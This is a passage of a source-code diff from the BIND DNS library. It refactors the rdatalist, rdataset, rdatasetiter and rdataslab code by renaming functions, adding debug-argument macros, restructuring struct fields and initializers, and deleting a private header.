-			  dns_rdataset_t *neg, dns_rdataset_t *negsig) {
+dns_rdatalist_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t *neg,
+			 dns_rdataset_t *negsig DNS__DB_FLARG) {
 	dns_rdataclass_t rdclass;
 	dns_rdataset_t *tneg = NULL;
 	dns_rdataset_t *tnegsig = NULL;
@@ -249,7 +240,7 @@ isc__rdatalist_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
 	REQUIRE((rdataset->attributes & DNS_RDATASETATTR_NOQNAME) != 0);
 
 	rdclass = rdataset->rdclass;
-	noqname = rdataset->private6;
+	noqname = rdataset->rdlist.noqname;
 
 	(void)dns_name_dynamic(noqname); /* Sanity Check. */
 
@@ -273,7 +264,8 @@ isc__rdatalist_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
 	     rdataset = ISC_LIST_NEXT(rdataset, link))
 	{
 		if (rdataset->type == dns_rdatatype_rrsig &&
-		    rdataset->covers == tneg->type) {
+		    rdataset->covers == tneg->type)
+		{
 			tnegsig = rdataset;
 		}
 	}
@@ -288,7 +280,7 @@ isc__rdatalist_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
 }
 
 isc_result_t
-isc__rdatalist_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name) {
+dns_rdatalist_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	dns_rdataset_t *neg = NULL;
 	dns_rdataset_t *negsig = NULL;
 	dns_rdataset_t *rdset;
@@ -303,7 +295,8 @@ isc__rdatalist_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name) {
 			continue;
 		}
 		if (rdset->type == dns_rdatatype_nsec ||
-		    rdset->type == dns_rdatatype_nsec3) {
+		    rdset->type == dns_rdatatype_nsec3)
+		{
 			neg = rdset;
 		}
 	}
@@ -315,7 +308,8 @@ isc__rdatalist_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	     rdset = ISC_LIST_NEXT(rdset, link))
 	{
 		if (rdset->type == dns_rdatatype_rrsig &&
-		    rdset->covers == neg->type) {
+		    rdset->covers == neg->type)
+		{
 			negsig = rdset;
 		}
 	}
@@ -335,13 +329,14 @@ isc__rdatalist_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	}
 	rdataset->ttl = neg->ttl = negsig->ttl = ttl;
 	rdataset->attributes |= DNS_RDATASETATTR_CLOSEST;
-	rdataset->private7 = name;
+	rdataset->rdlist.closest = name;
 	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
-isc__rdatalist_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
-			  dns_rdataset_t *neg, dns_rdataset_t *negsig) {
+dns_rdatalist_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t *neg,
+			 dns_rdataset_t *negsig DNS__DB_FLARG) {
 	dns_rdataclass_t rdclass;
 	dns_rdataset_t *tneg = NULL;
 	dns_rdataset_t *tnegsig = NULL;
@@ -351,7 +346,7 @@ isc__rdatalist_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
 	REQUIRE((rdataset->attributes & DNS_RDATASETATTR_CLOSEST) != 0);
 
 	rdclass = rdataset->rdclass;
-	closest = rdataset->private7;
+	closest = rdataset->rdlist.closest;
 
 	(void)dns_name_dynamic(closest); /* Sanity Check. */
 
@@ -375,7 +370,8 @@ isc__rdatalist_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
 	     rdataset = ISC_LIST_NEXT(rdataset, link))
 	{
 		if (rdataset->type == dns_rdatatype_rrsig &&
-		    rdataset->covers == tneg->type) {
+		    rdataset->covers == tneg->type)
+		{
 			tnegsig = rdataset;
 		}
 	}
@@ -390,7 +386,7 @@ isc__rdatalist_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
 }
 
 void
-isc__rdatalist_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name) {
+dns_rdatalist_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	dns_rdatalist_t *rdatalist;
 	unsigned int i;
 
@@ -398,14 +394,11 @@ isc__rdatalist_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	 * We do not need to worry about label lengths as they are all
 	 * less than or equal to 63.
 	 */
-	rdatalist = rdataset->private1;
+	rdatalist = rdataset->rdlist.list;
 	memset(rdatalist->upper, 0, sizeof(rdatalist->upper));
 	for (i = 1; i < name->length; i++) {
 		if (name->ndata[i] >= 0x41 && name->ndata[i] <= 0x5a) {
 			rdatalist->upper[i / 8] |= 1 << (i % 8);
-			/*
-			 * Record that upper has been set.
-			 */
 		}
 	}
 	/*
@@ -415,11 +408,11 @@ isc__rdatalist_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name) {
 }
 
 void
-isc__rdatalist_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name) {
+dns_rdatalist_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name) {
 	dns_rdatalist_t *rdatalist;
 	unsigned int i;
 
-	rdatalist = rdataset->private1;
+	rdatalist = rdataset->rdlist.list;
 	if ((rdatalist->upper[0] & 0x01) == 0) {
 		return;
 	}
diff --git a/lib/dns/rdatalist_p.h b/lib/dns/rdatalist_p.h
deleted file mode 100644
index 536448954d..0000000000
--- a/lib/dns/rdatalist_p.h
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_RDATALIST_P_H
-#define DNS_RDATALIST_P_H
-
-/*! \file */
-
-#include <isc/result.h>
-
-#include <dns/types.h>
-
-ISC_LANG_BEGINDECLS
-
-void
-isc__rdatalist_disassociate(dns_rdataset_t *rdatasetp);
-
-isc_result_t
-isc__rdatalist_first(dns_rdataset_t *rdataset);
-
-isc_result_t
-isc__rdatalist_next(dns_rdataset_t *rdataset);
-
-void
-isc__rdatalist_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata);
-
-void
-isc__rdatalist_clone(dns_rdataset_t *source, dns_rdataset_t *target);
-
-unsigned int
-isc__rdatalist_count(dns_rdataset_t *rdataset);
-
-isc_result_t
-isc__rdatalist_addnoqname(dns_rdataset_t *rdataset, const dns_name_t *name);
-
-isc_result_t
-isc__rdatalist_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
-			  dns_rdataset_t *neg, dns_rdataset_t *negsig);
-
-isc_result_t
-isc__rdatalist_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name);
-
-isc_result_t
-isc__rdatalist_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
-			  dns_rdataset_t *neg, dns_rdataset_t *negsig);
-
-void
-isc__rdatalist_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name);
-
-void
-isc__rdatalist_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name);
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_RDATALIST_P_H */
diff --git a/lib/dns/rdataset.c b/lib/dns/rdataset.c
index 87fda079f9..deccd7ed9c 100644
--- a/lib/dns/rdataset.c
+++ b/lib/dns/rdataset.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -44,8 +46,6 @@ dns_trust_totext(dns_trust_t trust) {
 	return (trustnames[trust]);
 }
 
-#define DNS_RDATASET_COUNT_UNDEFINED UINT32_MAX
-
 void
 dns_rdataset_init(dns_rdataset_t *rdataset) {
 	/*
@@ -54,24 +54,11 @@ dns_rdataset_init(dns_rdataset_t *rdataset) {
 
 	REQUIRE(rdataset != NULL);
 
-	rdataset->magic = DNS_RDATASET_MAGIC;
-	rdataset->methods = NULL;
-	ISC_LINK_INIT(rdataset, link);
-	rdataset->rdclass = 0;
-	rdataset->type = 0;
-	rdataset->ttl = 0;
-	rdataset->trust = 0;
-	rdataset->covers = 0;
-	rdataset->attributes = 0;
-	rdataset->count = DNS_RDATASET_COUNT_UNDEFINED;
-	rdataset->private1 = NULL;
-	rdataset->private2 = NULL;
-	rdataset->private3 = NULL;
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
-	rdataset->private6 = NULL;
-	rdataset->private7 = NULL;
-	rdataset->resign = 0;
+	*rdataset = (dns_rdataset_t){
+		.magic = DNS_RDATASET_MAGIC,
+		.link = ISC_LINK_INITIALIZER,
+		.count = DNS_RDATASET_COUNT_UNDEFINED,
+	};
 }
 
 void
@@ -83,24 +70,15 @@ dns_rdataset_invalidate(dns_rdataset_t *rdataset) {
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods == NULL);
 
-	rdataset->magic = 0;
-	ISC_LINK_INIT(rdataset, link);
-	rdataset->rdclass = 0;
-	rdataset->type = 0;
-	rdataset->ttl = 0;
-	rdataset->trust = 0;
-	rdataset->covers = 0;
-	rdataset->attributes = 0;
-	rdataset->count = DNS_RDATASET_COUNT_UNDEFINED;
-	rdataset->private1 = NULL;
-	rdataset->private2 = NULL;
-	rdataset->private3 = NULL;
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
+	*rdataset = (dns_rdataset_t){
+		.magic = 0,
+		.link = ISC_LINK_INITIALIZER,
+		.count = DNS_RDATASET_COUNT_UNDEFINED,
+	};
 }
 
 void
-dns_rdataset_disassociate(dns_rdataset_t *rdataset) {
+dns__rdataset_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG) {
 	/*
 	 * Disassociate 'rdataset' from its rdata, allowing it to be reused.
 	 */
@@ -108,22 +86,14 @@ dns_rdataset_disassociate(dns_rdataset_t *rdataset) {
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
 
-	(rdataset->methods->disassociate)(rdataset);
-	rdataset->methods = NULL;
-	ISC_LINK_INIT(rdataset, link);
-	rdataset->rdclass = 0;
-	rdataset->type = 0;
-	rdataset->ttl = 0;
-	rdataset->trust = 0;
-	rdataset->covers = 0;
-	rdataset->attributes = 0;
-	rdataset->count = DNS_RDATASET_COUNT_UNDEFINED;
-	rdataset->private1 = NULL;
-	rdataset->private2 = NULL;
-	rdataset->private3 = NULL;
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
-	rdataset->private6 = NULL;
+	if (rdataset->methods->disassociate != NULL) {
+		(rdataset->methods->disassociate)(rdataset DNS__DB_FLARG_PASS);
+	}
+	*rdataset = (dns_rdataset_t){
+		.magic = DNS_RDATASET_MAGIC,
+		.link = ISC_LINK_INITIALIZER,
+		.count = DNS_RDATASET_COUNT_UNDEFINED,
+	};
 }
 
 bool
@@ -141,62 +111,20 @@ dns_rdataset_isassociated(dns_rdataset_t *rdataset) {
 	return (false);
 }
 
-static void
-question_disassociate(dns_rdataset_t *rdataset) {
-	UNUSED(rdataset);
-}
-
 static isc_result_t
-question_cursor(dns_rdataset_t *rdataset) {
-	UNUSED(rdataset);
-
+question_cursor(dns_rdataset_t *rdataset ISC_ATTR_UNUSED) {
 	return (ISC_R_NOMORE);
 }
 
 static void
-question_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
-	/*
-	 * This routine should never be called.
-	 */
-	UNUSED(rdataset);
-	UNUSED(rdata);
-
-	REQUIRE(0);
-}
-
-static void
-question_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
+question_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG) {
 	*target = *source;
 }
 
-static unsigned int
-question_count(dns_rdataset_t *rdataset) {
-	/*
-	 * This routine should never be called.
-	 */
-	UNUSED(rdataset);
-	REQUIRE(0);
-
-	return (0);
-}
-
 static dns_rdatasetmethods_t question_methods = {
-	question_disassociate,
-	question_cursor,
-	question_cursor,
-	question_current,
-	question_clone,
-	question_count,
-	NULL, /* addnoqname */
-	NULL, /* getnoqname */
-	NULL, /* addclosest */
-	NULL, /* getclosest */
-	NULL, /* settrust */
-	NULL, /* expire */
-	NULL, /* clearprefetch */
-	NULL, /* setownercase */
-	NULL, /* getownercase */
-	NULL  /* addglue */
+	.first = question_cursor,
+	.next = question_cursor,
+	.clone = question_clone,
 };
 
 void
@@ -224,12 +152,14 @@ dns_rdataset_count(dns_rdataset_t *rdataset) {
 
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
+	REQUIRE(rdataset->methods->count != NULL);
 
 	return ((rdataset->methods->count)(rdataset));
 }
 
 void
-dns_rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
+dns__rdataset_clone(dns_rdataset_t *source,
+		    dns_rdataset_t *target DNS__DB_FLARG) {
 	/*
 	 * Make 'target' refer to the same rdataset as 'source'.
 	 */
@@ -239,7 +169,7 @@ dns_rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
 	REQUIRE(DNS_RDATASET_VALID(target));
 	REQUIRE(target->methods == NULL);
 
-	(source->methods->clone)(source, target);
+	(source->methods->clone)(source, target DNS__DB_FLARG_PASS);
 }
 
 isc_result_t
@@ -250,6 +180,7 @@ dns_rdataset_first(dns_rdataset_t *rdataset) {
 
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
+	REQUIRE(rdataset->methods->first != NULL);
 
 	return ((rdataset->methods->first)(rdataset));
 }
@@ -262,6 +193,7 @@ dns_rdataset_next(dns_rdataset_t *rdataset) {
 
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
+	REQUIRE(rdataset->methods->next != NULL);
 
 	return ((rdataset->methods->next)(rdataset));
 }
@@ -274,6 +206,7 @@ dns_rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
 
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
+	REQUIRE(rdataset->methods->current != NULL);
 
 	(rdataset->methods->current)(rdataset, rdata);
 }
@@ -295,7 +228,7 @@ towire_compare(const void *av, const void *bv) {
 	return (a->key - b->key);
 }
 
-static inline void
+static void
 swap_rdata(dns_rdata_t *in, unsigned int a, unsigned int b) {
 	dns_rdata_t rdata = in[a];
 	in[a] = in[b];
@@ -306,7 +239,8 @@ static isc_result_t
 towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 	     dns_compress_t *cctx, isc_buffer_t *target,
 	     dns_rdatasetorderfunc_t order, const void *order_arg, bool partial,
-	     unsigned int options, unsigned int *countp, void **state) {
+	     unsigned int options, unsigned int *countp,
+	     void **state ISC_ATTR_UNUSED) {
 	isc_region_t r;
 	isc_result_t result;
 	unsigned int i, count = 0, added;
@@ -320,11 +254,9 @@ towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 	struct towire_sort out_fixed[MAX_SHUFFLE];
 	struct towire_sort *out = out_fixed;
 	dns_fixedname_t fixed;
-	dns_name_t *name;
+	dns_name_t *name = NULL;
 	uint16_t offset;
 
-	UNUSED(state);
-
 	/*
 	 * Convert 'rdataset' to wire format, compressing names as specified
 	 * in cctx, and storing the result in 'target'.
@@ -354,7 +286,7 @@ towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 		return (dns_ncache_towire(rdataset, cctx, target, ncache_opts,
 					  countp));
 	} else {
-		count = (rdataset->methods->count)(rdataset);
+		count = dns_rdataset_count(rdataset);
 		result = dns_rdataset_first(rdataset);
 		if (result == ISC_R_NOMORE) {
 			return (ISC_R_SUCCESS);
@@ -378,8 +310,8 @@ towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 
 	if ((shuffle || sort)) {
 		if (count > MAX_SHUFFLE) {
-			in = isc_mem_get(cctx->mctx, count * sizeof(*in));
-			out = isc_mem_get(cctx->mctx, count * sizeof(*out));
+			in = isc_mem_cget(cctx->mctx, count, sizeof(*in));
+			out = isc_mem_cget(cctx->mctx, count, sizeof(*out));
 			if (in == NULL || out == NULL) {
 				shuffle = sort = false;
 			}
@@ -406,18 +338,18 @@ towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 		}
 		INSIST(i == count);
 
-		if (ISC_LIKELY(want_random)) {
+		if (want_random) {
 			seed = isc_random32();
 		}
 
-		if (ISC_UNLIKELY(want_cyclic) &&
+		if (want_cyclic &&
 		    (rdataset->count != DNS_RDATASET_COUNT_UNDEFINED))
 		{
 			j = rdataset->count % count;
 		}
 
 		for (i = 0; i < count; i++) {
-			if (ISC_LIKELY(want_random)) {
+			if (want_random) {
 				swap_rdata(in, j, j + seed % (count - j));
 			}
 
@@ -444,7 +376,7 @@ towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 	dns_rdataset_getownercase(rdataset, name);
 	offset = 0xffff;
 
-	name->attributes |= owner_name->attributes & DNS_NAMEATTR_NOCOMPRESS;
+	name->attributes.nocompress |= owner_name->attributes.nocompress;
 
 	do {
 		/*
@@ -452,8 +384,8 @@ towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 		 */
 
 		rrbuffer = *target;
-		dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
-		result = dns_name_towire2(name, cctx, target, &offset);
+		dns_compress_setpermitted(cctx, true);
+		result = dns_name_towire(name, cctx, target, &offset);
 		if (result != ISC_R_SUCCESS) {
 			goto rollback;
 		}
@@ -524,23 +456,21 @@ towiresorted(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 
 rollback:
 	if (partial && result == ISC_R_NOSPACE) {
-		INSIST(rrbuffer.used < 65536);
-		dns_compress_rollback(cctx, (uint16_t)rrbuffer.used);
+		dns_compress_rollback(cctx, rrbuffer.used);
 		*countp += added;
 		*target = rrbuffer;
 		goto cleanup;
 	}
-	INSIST(savedbuffer.used < 65536);
-	dns_compress_rollback(cctx, (uint16_t)savedbuffer.used);
+	dns_compress_rollback(cctx, savedbuffer.used);
 	*countp = 0;
 	*target = savedbuffer;
 
 cleanup:
 	if (out != NULL && out != out_fixed) {
-		isc_mem_put(cctx->mctx, out, count * sizeof(*out));
+		isc_mem_cput(cctx->mctx, out, count, sizeof(*out));
 	}
 	if (in != NULL && in != in_fixed) {
-		isc_mem_put(cctx->mctx, in, count * sizeof(*in));
+		isc_mem_cput(cctx->mctx, in, count, sizeof(*in));
 	}
 	return (result);
 }
@@ -576,6 +506,7 @@ dns_rdataset_towire(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 
 isc_result_t
 dns_rdataset_additionaldata(dns_rdataset_t *rdataset,
+			    const dns_name_t *owner_name,
 			    dns_additionaldatafunc_t add, void *arg) {
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	isc_result_t result;
@@ -595,7 +526,7 @@ dns_rdataset_additionaldata(dns_rdataset_t *rdataset,
 
 	do {
 		dns_rdataset_current(rdataset, &rdata);
-		result = dns_rdata_additionaldata(&rdata, add, arg);
+		result = dns_rdata_additionaldata(&rdata, owner_name, add, arg);
 		if (result == ISC_R_SUCCESS) {
 			result = dns_rdataset_next(rdataset);
 		}
@@ -620,15 +551,17 @@ dns_rdataset_addnoqname(dns_rdataset_t *rdataset, dns_name_t *name) {
 }
 
 isc_result_t
-dns_rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
-			dns_rdataset_t *neg, dns_rdataset_t *negsig) {
+dns__rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t *neg,
+			 dns_rdataset_t *negsig DNS__DB_FLARG) {
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
 
 	if (rdataset->methods->getnoqname == NULL) {
 		return (ISC_R_NOTIMPLEMENTED);
 	}
-	return ((rdataset->methods->getnoqname)(rdataset, name, neg, negsig));
+	return ((rdataset->methods->getnoqname)(rdataset, name, neg,
+						negsig DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
@@ -642,15 +575,17 @@ dns_rdataset_addclosest(dns_rdataset_t *rdataset, const dns_name_t *name) {
 }
 
 isc_result_t
-dns_rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
-			dns_rdataset_t *neg, dns_rdataset_t *negsig) {
+dns__rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
+			 dns_rdataset_t *neg,
+			 dns_rdataset_t *negsig DNS__DB_FLARG) {
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
 
 	if (rdataset->methods->getclosest == NULL) {
 		return (ISC_R_NOTIMPLEMENTED);
 	}
-	return ((rdataset->methods->getclosest)(rdataset, name, neg, negsig));
+	return ((rdataset->methods->getclosest)(rdataset, name, neg,
+						negsig DNS__DB_FLARG_PASS));
 }
 
 void
@@ -666,12 +601,12 @@ dns_rdataset_settrust(dns_rdataset_t *rdataset, dns_trust_t trust) {
 }
 
 void
-dns_rdataset_expire(dns_rdataset_t *rdataset) {
+dns__rdataset_expire(dns_rdataset_t *rdataset DNS__DB_FLARG) {
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
 
 	if (rdataset->methods->expire != NULL) {
-		(rdataset->methods->expire)(rdataset);
+		(rdataset->methods->expire)(rdataset DNS__DB_FLARG_PASS);
 	}
 }
 
@@ -690,7 +625,9 @@ dns_rdataset_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name) {
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
 
-	if (rdataset->methods->setownercase != NULL) {
+	if (rdataset->methods->setownercase != NULL &&
+	    (rdataset->attributes & DNS_RDATASETATTR_KEEPCASE) == 0)
+	{
 		(rdataset->methods->setownercase)(rdataset, name);
 	}
 }
@@ -700,7 +637,9 @@ dns_rdataset_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name) {
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(rdataset->methods != NULL);
 
-	if (rdataset->methods->getownercase != NULL) {
+	if (rdataset->methods->getownercase != NULL &&
+	    (rdataset->attributes & DNS_RDATASETATTR_KEEPCASE) == 0)
+	{
 		(rdataset->methods->getownercase)(rdataset, name);
 	}
 }
@@ -732,17 +671,3 @@ dns_rdataset_trimttl(dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
 	rdataset->ttl = ttl;
 	sigrdataset->ttl = ttl;
 }
-
-isc_result_t
-dns_rdataset_addglue(dns_rdataset_t *rdataset, dns_dbversion_t *version,
-		     dns_message_t *msg) {
-	REQUIRE(DNS_RDATASET_VALID(rdataset));
-	REQUIRE(rdataset->methods != NULL);
-	REQUIRE(rdataset->type == dns_rdatatype_ns);
-
-	if (rdataset->methods->addglue == NULL) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	return ((rdataset->methods->addglue)(rdataset, version, msg));
-}
diff --git a/lib/dns/rdatasetiter.c b/lib/dns/rdatasetiter.c
index 0677ae84e7..a052aca5ec 100644
--- a/lib/dns/rdatasetiter.c
+++ b/lib/dns/rdatasetiter.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,7 +21,7 @@
 #include <dns/rdatasetiter.h>
 
 void
-dns_rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp) {
+dns__rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
 	/*
 	 * Destroy '*iteratorp'.
 	 */
@@ -27,36 +29,36 @@ dns_rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp) {
 	REQUIRE(iteratorp != NULL);
 	REQUIRE(DNS_RDATASETITER_VALID(*iteratorp));
 
-	(*iteratorp)->methods->destroy(iteratorp);
+	(*iteratorp)->methods->destroy(iteratorp DNS__DB_FLARG_PASS);
 
 	ENSURE(*iteratorp == NULL);
 }
 
 isc_result_t
-dns_rdatasetiter_first(dns_rdatasetiter_t *iterator) {
+dns__rdatasetiter_first(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
 	/*
 	 * Move the rdataset cursor to the first rdataset at the node (if any).
 	 */
 
 	REQUIRE(DNS_RDATASETITER_VALID(iterator));
 
-	return (iterator->methods->first(iterator));
+	return (iterator->methods->first(iterator DNS__DB_FLARG_PASS));
 }
 
 isc_result_t
-dns_rdatasetiter_next(dns_rdatasetiter_t *iterator) {
+dns__rdatasetiter_next(dns_rdatasetiter_t *iterator DNS__DB_FLARG) {
 	/*
 	 * Move the rdataset cursor to the next rdataset at the node (if any).
 	 */
 
 	REQUIRE(DNS_RDATASETITER_VALID(iterator));
 
-	return (iterator->methods->next(iterator));
+	return (iterator->methods->next(iterator DNS__DB_FLARG_PASS));
 }
 
 void
-dns_rdatasetiter_current(dns_rdatasetiter_t *iterator,
-			 dns_rdataset_t *rdataset) {
+dns__rdatasetiter_current(dns_rdatasetiter_t *iterator,
+			  dns_rdataset_t *rdataset DNS__DB_FLARG) {
 	/*
 	 * Return the current rdataset.
 	 */
@@ -65,5 +67,5 @@ dns_rdatasetiter_current(dns_rdatasetiter_t *iterator,
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 	REQUIRE(!dns_rdataset_isassociated(rdataset));
 
-	iterator->methods->current(iterator, rdataset);
+	iterator->methods->current(iterator, rdataset DNS__DB_FLARG_PASS);
 }
diff --git a/lib/dns/rdataslab.c b/lib/dns/rdataslab.c
index 1d5e88f745..294761f94e 100644
--- a/lib/dns/rdataslab.c
+++ b/lib/dns/rdataslab.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,18 +13,32 @@
 
 /*! \file */
 
+#include <ctype.h>
 #include <stdbool.h>
 #include <stdlib.h>
 
+#include <isc/ascii.h>
 #include <isc/mem.h>
 #include <isc/region.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/result.h>
+#include <isc/string.h>
 #include <isc/util.h>
 
+#include <dns/db.h>
 #include <dns/rdata.h>
 #include <dns/rdataset.h>
 #include <dns/rdataslab.h>
-#include <dns/result.h>
+#include <dns/stats.h>
+
+#define CASESET(header)                                \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_CASESET) != 0)
+#define CASEFULLYLOWER(header)                         \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_CASEFULLYLOWER) != 0)
+#define NONEXISTENT(header)                            \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_NONEXISTENT) != 0)
 
 /*
  * The rdataslab structure allows iteration to occur in both load order
@@ -68,9 +84,57 @@
 
 struct xrdata {
 	dns_rdata_t rdata;
+#if DNS_RDATASET_FIXED
 	unsigned int order;
+#endif /* if DNS_RDATASET_FIXED */
+};
+
+struct dns_glue {
+	struct dns_glue *next;
+	dns_fixedname_t fixedname;
+	dns_rdataset_t rdataset_a;
+	dns_rdataset_t sigrdataset_a;
+	dns_rdataset_t rdataset_aaaa;
+	dns_rdataset_t sigrdataset_aaaa;
+	struct cds_wfs_node wfs_node;
 };
 
+typedef struct {
+	dns_glue_t *glue_list;
+	dns_rbtdb_t *rbtdb;
+	dns_rbtdb_version_t *rbtversion;
+	dns_name_t *nodename;
+} dns_glue_additionaldata_ctx_t;
+
+static void
+rdataset_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG);
+static isc_result_t
+rdataset_first(dns_rdataset_t *rdataset);
+static isc_result_t
+rdataset_next(dns_rdataset_t *rdataset);
+static void
+rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata);
+static void
+rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG);
+static unsigned int
+rdataset_count(dns_rdataset_t *rdataset);
+static isc_result_t
+rdataset_getnoqname(dns_rdataset_t *rdataset, dns_name_t *name,
+		    dns_rdataset_t *neg, dns_rdataset_t *negsig DNS__DB_FLARG);
+static isc_result_t
+rdataset_getclosest(dns_rdataset_t *rdataset, dns_name_t *name,
+		    dns_rdataset_t *neg, dns_rdataset_t *negsig DNS__DB_FLARG);
+static void
+rdataset_settrust(dns_rdataset_t *rdataset, dns_trust_t trust);
+static void
+rdataset_expire(dns_rdataset_t *rdataset DNS__DB_FLARG);
+static void
+rdataset_clearprefetch(dns_rdataset_t *rdataset);
+static void
+rdataset_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name);
+static void
+rdataset_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name);
+
 /*% Note: the "const void *" are just to make qsort happy.  */
 static int
 compare_rdata(const void *p1, const void *p2) {
@@ -82,9 +146,9 @@ compare_rdata(const void *p1, const void *p2) {
 #if DNS_RDATASET_FIXED
 static void
 fillin_offsets(unsigned char *offsetbase, unsigned int *offsettable,
-	       unsigned length) {
+	       unsigned int length) {
 	unsigned int i, j;
-	unsigned char *raw;
+	unsigned char *raw = NULL;
 
